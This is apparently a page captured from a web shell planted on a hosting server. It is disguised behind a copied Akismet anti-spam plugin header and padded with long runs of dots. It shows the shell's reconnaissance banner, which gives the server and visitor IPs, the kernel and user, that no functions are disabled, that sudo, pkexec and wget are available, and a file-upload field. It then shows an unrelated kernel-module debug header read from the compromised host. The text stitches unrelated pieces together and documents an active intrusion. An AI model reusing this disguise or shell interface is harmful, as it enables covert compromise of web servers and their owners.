#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/snapapi26-1.0.7/ |
Upload File : |
#ifndef _DEBUG_H
#define _DEBUG_H
#define DEBUG_API (1 << 1)
#define DEBUG_ALLOC (1 << 2)
#define DEBUG_BIO (1 << 3)
#define DEBUG_BIOQUE (1 << 4)
#define DEBUG_CACHE (1 << 5)
#define DEBUG_BREAD (1 << 6)
#define DEBUG_INTERNALS (1 << 7)
#define DEBUG_DUMP (1 << 8)
#define DEBUG_LOCK (1 << 9)
#define DEBUG_IOCTL (1 << 10)
#define DEBUG_MESS (1 << 11)
#define DEBUG_BMAP (1 << 12)
#define DEBUG_LEVEL (DEBUG_API)
#ifdef DEBUG
# define SA_STATIC static noinline
# define SA_INLINE noinline
#else
# define SA_STATIC static
# define SA_INLINE __always_inline
#endif
static __always_inline int sn_printk_rate_limit(void)
{
static unsigned long count, last;
if (jiffies - last > HZ)
count = 0;
if (count >= 10)
return 0;
last = jiffies;
count++;
return 1;
}
#ifdef DEBUG
#define sa_debug(level, fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
if (((level) & DEBUG_LEVEL) && sn_printk_rate_limit())\
printk(KERN_DEBUG "%s(%s,%d): " fmt, func, \
current->comm, current->pid, ##arg); \
} while (0)
#else
#define sa_debug(level, fmt, arg...) do { } while (0)
#endif /* DEBUG */
#define sa_kdebug(fmt, arg...) \
do { \
static const char *func= __FUNCTION__; \
if (sn_printk_rate_limit()) \
printk(KERN_DEBUG "%s(%s,%d): " fmt, func, \
current->comm, current->pid, ##arg); \
} while (0)
#define sa_info(fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
if (sn_printk_rate_limit()) \
printk(KERN_INFO "%s(%s,%d): " fmt, func, \
current->comm, current->pid, ##arg); \
} while (0)
#define sa_warn(fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
if (sn_printk_rate_limit()) \
printk(KERN_WARNING "%s(%s,%d): " fmt, func,\
current->comm, current->pid, ##arg); \
} while (0)
#define sa_error(fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
if (sn_printk_rate_limit()) \
printk(KERN_ERR "%s(%s,%d): " fmt, func, \
current->comm, current->pid, ##arg); \
} while (0)
#define sa_BUG(fmt, arg...) \
do { \
static const char *func = __FUNCTION__; \
printk(KERN_CRIT "%s(%s,%d): " fmt, func, \
current->comm, current->pid, ##arg); \
BUG(); \
} while (0)
#ifdef DEBUG
#ifdef HAVE_OP_IS_WRITE
# define BIO_RW_RETURN_VALUE unsigned int
#else
# define BIO_RW_RETURN_VALUE unsigned long
#endif /* HAVE_OP_IS_WRITE */
static __always_inline BIO_RW_RETURN_VALUE get_bio_req_flags(struct bio *bio)
{
#ifdef HAVE_BIO_OPF
return bio->bi_opf;
#else
return bio->bi_rw;
#endif /* HAVE_BIO_OPF */
}
#endif /* DEBUG */
#if defined(DEBUG) && (DEBUG_LEVEL & DEBUG_BIO)
static SA_INLINE sector_t sn_bio_bi_sector(struct bio *bio);
static SA_INLINE unsigned int sn_bio_bi_size(struct bio *bio);
static __always_inline void print_bio(struct bio *bio, char *pref)
{
sa_warn("%s bio=%p, dev=%x, sector=%llu, bi_flags=%x"
" bi_rw=%x bi_size=%d bi_vcnt=%d bi_io_vec=%p"
" bi_max_vecs=%d\n", pref, bio,
bio->bi_bdev ? bio->bi_bdev->bd_dev : -1,
(unsigned long long)sn_bio_bi_sector(bio), bio->bi_flags,
get_bio_req_flags(bio), sn_bio_bi_size(bio), bio->bi_vcnt, bio->bi_io_vec,
bio->bi_max_vecs);
}
# define dump_bio(x, y) print_bio(x, y)
#else
# define dump_bio(x, y)
#endif
#endif // _DEBUG_H